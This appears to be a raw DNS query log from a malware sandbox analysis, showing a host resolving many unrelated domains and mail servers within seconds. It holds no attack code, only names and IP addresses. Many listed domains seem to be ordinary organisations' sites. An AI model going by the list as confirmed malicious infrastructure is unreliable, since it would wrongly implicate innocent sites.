Mar 10, 2023 07:55:50.145914078 CET	8.8.8.8	192.168.2.6	0xaf1b	No error (0)	fundeo.com		172.67.97.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.145914078 CET	8.8.8.8	192.168.2.6	0xaf1b	No error (0)	fundeo.com		104.24.161.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.261951923 CET	8.8.8.8	192.168.2.6	0xf42a	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.261951923 CET	8.8.8.8	192.168.2.6	0xf42a	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.261951923 CET	8.8.8.8	192.168.2.6	0xf42a	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.261951923 CET	8.8.8.8	192.168.2.6	0xf42a	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.406143904 CET	8.8.8.8	192.168.2.6	0x25c5	No error (0)	shittas.com		43.246.117.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.443208933 CET	8.8.8.8	192.168.2.6	0x5fd2	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.481961966 CET	8.8.8.8	192.168.2.6	0x2a30	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.517029047 CET	8.8.8.8	192.168.2.6	0xacba	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:50.517029047 CET	8.8.8.8	192.168.2.6	0xacba	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.519421101 CET	8.8.8.8	192.168.2.6	0xa87b	No error (0)	k-nikko.com		18.177.67.59	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.648610115 CET	8.8.8.8	192.168.2.6	0xaa99	No error (0)	anduran.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:50.648610115 CET	8.8.8.8	192.168.2.6	0xaa99	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:50.648610115 CET	8.8.8.8	192.168.2.6	0xaa99	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.648610115 CET	8.8.8.8	192.168.2.6	0xaa99	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.696599007 CET	8.8.8.8	192.168.2.6	0xdd8c	No error (0)	zugseil.com		92.42.191.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.710891962 CET	8.8.8.8	192.168.2.6	0x34a3	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.720033884 CET	8.8.8.8	192.168.2.6	0xa24c	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.720033884 CET	8.8.8.8	192.168.2.6	0xa24c	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.727447033 CET	8.8.8.8	192.168.2.6	0xe47b	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.727447033 CET	8.8.8.8	192.168.2.6	0xe47b	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.732091904 CET	8.8.8.8	192.168.2.6	0x9980	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.732091904 CET	8.8.8.8	192.168.2.6	0x9980	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:50.732091904 CET	8.8.8.8	192.168.2.6	0x9980	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.008816957 CET	8.8.8.8	192.168.2.6	0x72a5	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.118812084 CET	8.8.8.8	192.168.2.6	0xb0ab	No error (0)	nrsi.com		76.223.35.103	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.121985912 CET	8.8.8.8	192.168.2.6	0x6beb	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.164467096 CET	8.8.8.8	192.168.2.6	0x425b	No error (0)	hyab.se		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.164467096 CET	8.8.8.8	192.168.2.6	0x425b	No error (0)	hyab.se		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.198190928 CET	8.8.8.8	192.168.2.6	0x289b	No error (0)	diamir.de		138.201.65.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.200310946 CET	8.8.8.8	192.168.2.6	0xdf21	No error (0)	kallman.net		185.76.64.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.244561911 CET	8.8.8.8	192.168.2.6	0x1bd9	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.262458086 CET	8.8.8.8	192.168.2.6	0x5d76	No error (0)	univi.it		18.197.121.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.334117889 CET	8.8.8.8	192.168.2.6	0x703e	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.334117889 CET	8.8.8.8	192.168.2.6	0x703e	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.379652977 CET	8.8.8.8	192.168.2.6	0x50f	No error (0)	aluminox.es		37.59.243.164	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.400335073 CET	8.8.8.8	192.168.2.6	0x6485	No error (0)	akr.co.id		172.67.33.252	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.400335073 CET	8.8.8.8	192.168.2.6	0x6485	No error (0)	akr.co.id		104.20.123.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.400335073 CET	8.8.8.8	192.168.2.6	0x6485	No error (0)	akr.co.id		104.20.122.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.468117952 CET	8.8.8.8	192.168.2.6	0xd171	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.472249985 CET	8.8.8.8	192.168.2.6	0x518b	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.472249985 CET	8.8.8.8	192.168.2.6	0x518b	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.472825050 CET	8.8.8.8	192.168.2.6	0x4f7	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.473553896 CET	8.8.8.8	192.168.2.6	0xe17	No error (0)	yhsll.com		154.88.50.199	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.537030935 CET	8.8.8.8	192.168.2.6	0x90e7	No error (0)	mackusick.de		217.160.0.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.540965080 CET	8.8.8.8	192.168.2.6	0x511b	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.541970015 CET	8.8.8.8	192.168.2.6	0x9826	No error (0)	orlyhotel.com		172.67.156.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.541970015 CET	8.8.8.8	192.168.2.6	0x9826	No error (0)	orlyhotel.com		104.21.48.207	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.640006065 CET	8.8.8.8	192.168.2.6	0x88ed	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.702224970 CET	8.8.8.8	192.168.2.6	0xbbdc	No error (0)	clinicasanluis.com.co		104.21.66.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.702224970 CET	8.8.8.8	192.168.2.6	0xbbdc	No error (0)	clinicasanluis.com.co		172.67.164.178	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.788549900 CET	8.8.8.8	192.168.2.6	0x7e1c	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.788568974 CET	8.8.8.8	192.168.2.6	0x426f	No error (0)	t-mould.com		81.169.145.175	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.796269894 CET	8.8.8.8	192.168.2.6	0xe030	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.912178040 CET	8.8.8.8	192.168.2.6	0x5c65	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.912178040 CET	8.8.8.8	192.168.2.6	0x5c65	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:51.912178040 CET	8.8.8.8	192.168.2.6	0x5c65	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.005954981 CET	8.8.8.8	192.168.2.6	0x1468	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.008905888 CET	8.8.8.8	192.168.2.6	0x5351	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.030137062 CET	8.8.8.8	192.168.2.6	0x7b95	No error (0)	zupraha.cz		77.78.104.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.167229891 CET	8.8.8.8	192.168.2.6	0x690	No error (0)	dbnet.at		188.94.254.88	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.192929983 CET	8.8.8.8	192.168.2.6	0x7e8d	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.221498013 CET	8.8.8.8	192.168.2.6	0x720c	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.250375986 CET	8.8.8.8	192.168.2.6	0xe110	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.278796911 CET	8.8.8.8	192.168.2.6	0x9cf	No error (0)	kevyt.net		104.21.2.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.278796911 CET	8.8.8.8	192.168.2.6	0x9cf	No error (0)	kevyt.net		172.67.129.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.281476021 CET	8.8.8.8	192.168.2.6	0xc37e	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.392560959 CET	8.8.8.8	192.168.2.6	0xc67a	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.407438993 CET	8.8.8.8	192.168.2.6	0xbdf5	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.441006899 CET	8.8.8.8	192.168.2.6	0xdb44	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.446721077 CET	8.8.8.8	192.168.2.6	0xa638	No error (0)	techtrans.de		185.237.66.112	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.472352028 CET	8.8.8.8	192.168.2.6	0x88d2	No error (0)	muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.510333061 CET	8.8.8.8	192.168.2.6	0x4124	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.527653933 CET	8.8.8.8	192.168.2.6	0x7b32	No error (0)	strazynski.pl		85.128.196.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.540399075 CET	8.8.8.8	192.168.2.6	0x676f	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:52.804461002 CET	8.8.8.8	192.168.2.6	0x464	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.008481979 CET	8.8.8.8	192.168.2.6	0xf7c8	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.008481979 CET	8.8.8.8	192.168.2.6	0xf7c8	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.008481979 CET	8.8.8.8	192.168.2.6	0xf7c8	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.008481979 CET	8.8.8.8	192.168.2.6	0xf7c8	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.041611910 CET	8.8.8.8	192.168.2.6	0x2860	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.076457977 CET	8.8.8.8	192.168.2.6	0xa7e4	No error (0)	pleszew.policja.gov.pl		91.229.22.126	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.112087011 CET	8.8.8.8	192.168.2.6	0xea81	No error (0)	diamir.de		138.201.65.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.245613098 CET	8.8.8.8	192.168.2.6	0xf8f	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.316421986 CET	8.8.8.8	192.168.2.6	0x2159	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.319938898 CET	8.8.8.8	192.168.2.6	0x18eb	No error (0)	zugseil.com		92.42.191.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.321194887 CET	8.8.8.8	192.168.2.6	0x266f	No error (0)	kairel.com		54.217.118.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.325562954 CET	8.8.8.8	192.168.2.6	0x5835	No error (0)	wanoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.325562954 CET	8.8.8.8	192.168.2.6	0x5835	No error (0)	wanoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.329835892 CET	8.8.8.8	192.168.2.6	0xbcc1	No error (0)	burstner.ru		52.50.65.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.336633921 CET	8.8.8.8	192.168.2.6	0xd557	No error (0)	www.muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.357909918 CET	8.8.8.8	192.168.2.6	0xaf50	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.421145916 CET	8.8.8.8	192.168.2.6	0xc794	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.536103010 CET	8.8.8.8	192.168.2.6	0x57f7	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.553033113 CET	8.8.8.8	192.168.2.6	0xb936	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.665298939 CET	8.8.8.8	192.168.2.6	0x8515	No error (0)	sinwal.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.665298939 CET	8.8.8.8	192.168.2.6	0x8515	No error (0)	sinwal.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.691551924 CET	8.8.8.8	192.168.2.6	0x1e3c	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.691551924 CET	8.8.8.8	192.168.2.6	0x1e3c	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.691551924 CET	8.8.8.8	192.168.2.6	0x1e3c	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.712292910 CET	8.8.8.8	192.168.2.6	0xbeab	No error (0)	kairel.com		54.217.118.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.724028111 CET	8.8.8.8	192.168.2.6	0xa632	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.724028111 CET	8.8.8.8	192.168.2.6	0xa632	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.731564999 CET	8.8.8.8	192.168.2.6	0x8d09	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.738329887 CET	8.8.8.8	192.168.2.6	0x8db1	No error (0)	zugseil.com		92.42.191.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.785336018 CET	8.8.8.8	192.168.2.6	0x5405	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.796287060 CET	8.8.8.8	192.168.2.6	0xdb44	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.902004957 CET	8.8.8.8	192.168.2.6	0xb092	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.938996077 CET	8.8.8.8	192.168.2.6	0xbc2a	No error (0)	muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.972229004 CET	8.8.8.8	192.168.2.6	0x1a7b	No error (0)	semuk.com		52.128.23.153	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.981287003 CET	8.8.8.8	192.168.2.6	0x7f95	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.981287003 CET	8.8.8.8	192.168.2.6	0x7f95	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:53.989557981 CET	8.8.8.8	192.168.2.6	0x3ed1	No error (0)	cutchie.com		199.59.243.222	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.046322107 CET	8.8.8.8	192.168.2.6	0xedc9	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.089834929 CET	8.8.8.8	192.168.2.6	0x7dab	No error (0)	coxkitchensandbaths.com		205.149.134.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.183897972 CET	8.8.8.8	192.168.2.6	0x45e1	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.189856052 CET	8.8.8.8	192.168.2.6	0x228a	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.211329937 CET	8.8.8.8	192.168.2.6	0x293e	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.226948023 CET	8.8.8.8	192.168.2.6	0x6e38	No error (0)	wahw.com.au		54.194.190.151	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.308667898 CET	8.8.8.8	192.168.2.6	0xf3c7	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.320651054 CET	8.8.8.8	192.168.2.6	0xdd37	No error (0)	eos-i.com	macx1980.qy56.supcname.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:54.320651054 CET	8.8.8.8	192.168.2.6	0xdd37	No error (0)	macx1980.qy56.supcname.com	mfddos.datacname.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:54.320651054 CET	8.8.8.8	192.168.2.6	0xdd37	No error (0)	mfddos.datacname.com	15.204.18.132.datacname.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:54.320651054 CET	8.8.8.8	192.168.2.6	0xdd37	No error (0)	15.204.18.132.datacname.com		15.204.18.132	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.370745897 CET	8.8.8.8	192.168.2.6	0x59e6	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.384098053 CET	8.8.8.8	192.168.2.6	0x1683	No error (0)	zemarmot.net		164.132.175.106	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.490658045 CET	8.8.8.8	192.168.2.6	0xf59b	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.560316086 CET	8.8.8.8	192.168.2.6	0xec67	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.572061062 CET	8.8.8.8	192.168.2.6	0x59fe	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.573797941 CET	8.8.8.8	192.168.2.6	0xe619	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.573797941 CET	8.8.8.8	192.168.2.6	0xe619	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.573797941 CET	8.8.8.8	192.168.2.6	0xe619	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.573797941 CET	8.8.8.8	192.168.2.6	0xe619	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.671400070 CET	8.8.8.8	192.168.2.6	0x7d72	No error (0)	gmail-smtp-in.l.google.com		142.250.27.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.861924887 CET	8.8.8.8	192.168.2.6	0x1dde	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.916800022 CET	8.8.8.8	192.168.2.6	0x4c96	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:54.916800022 CET	8.8.8.8	192.168.2.6	0x4c96	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.921267033 CET	8.8.8.8	192.168.2.6	0xb999	No error (0)	dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.921267033 CET	8.8.8.8	192.168.2.6	0xb999	No error (0)	dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.925076008 CET	8.8.8.8	192.168.2.6	0x4328	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:54.942261934 CET	8.8.8.8	192.168.2.6	0xc995	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.095695972 CET	8.8.8.8	192.168.2.6	0x8cfc	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.192318916 CET	8.8.8.8	192.168.2.6	0x189e	No error (0)	cpmteam.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.192318916 CET	8.8.8.8	192.168.2.6	0x189e	No error (0)	cpmteam.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.199389935 CET	8.8.8.8	192.168.2.6	0x42be	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.279690027 CET	8.8.8.8	192.168.2.6	0xcbfd	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.285173893 CET	8.8.8.8	192.168.2.6	0x91c8	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.289652109 CET	8.8.8.8	192.168.2.6	0x28d8	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.336971998 CET	8.8.8.8	192.168.2.6	0xc38b	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.345777035 CET	8.8.8.8	192.168.2.6	0xcd98	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.356838942 CET	8.8.8.8	192.168.2.6	0xe4c9	No error (0)	arowines.com		104.164.117.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.359321117 CET	8.8.8.8	192.168.2.6	0x24d	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.360178947 CET	8.8.8.8	192.168.2.6	0xd0c0	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.378292084 CET	8.8.8.8	192.168.2.6	0xed30	No error (0)	shesfit.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.378292084 CET	8.8.8.8	192.168.2.6	0xed30	No error (0)	shesfit.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.380137920 CET	8.8.8.8	192.168.2.6	0x4fed	No error (0)	zugseil.com		92.42.191.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.391024113 CET	8.8.8.8	192.168.2.6	0x6809	No error (0)	missnue.com		104.21.234.121	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.391024113 CET	8.8.8.8	192.168.2.6	0x6809	No error (0)	missnue.com		104.21.234.120	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.393992901 CET	8.8.8.8	192.168.2.6	0xbeb1	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.393992901 CET	8.8.8.8	192.168.2.6	0xbeb1	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.395523071 CET	8.8.8.8	192.168.2.6	0xf54c	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.397567987 CET	8.8.8.8	192.168.2.6	0xa652	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.399646044 CET	8.8.8.8	192.168.2.6	0x857a	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.399646044 CET	8.8.8.8	192.168.2.6	0x857a	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.415385962 CET	8.8.8.8	192.168.2.6	0x50a4	No error (0)	univi.it		18.197.121.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.432064056 CET	8.8.8.8	192.168.2.6	0xb1e8	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.475235939 CET	8.8.8.8	192.168.2.6	0x292c	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.475235939 CET	8.8.8.8	192.168.2.6	0x292c	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.491913080 CET	8.8.8.8	192.168.2.6	0x1bd6	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.518558979 CET	8.8.8.8	192.168.2.6	0xdeea	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.520270109 CET	8.8.8.8	192.168.2.6	0x1863	No error (0)	in1.smtp.messaginguser.com		66.111.4.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.520270109 CET	8.8.8.8	192.168.2.6	0x1863	No error (0)	in1.smtp.messaginguser.com		66.111.4.71	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.520270109 CET	8.8.8.8	192.168.2.6	0x1863	No error (0)	in1.smtp.messaginguser.com		66.111.4.73	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.520270109 CET	8.8.8.8	192.168.2.6	0x1863	No error (0)	in1.smtp.messaginguser.com		66.111.4.70	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:55.520270109 CET	8.8.8.8	192.168.2.6	0x1863	No error (0)	in1.smtp.messaginguser.com		66.111.4.72	A (IP address)	IN (0x0001)	false
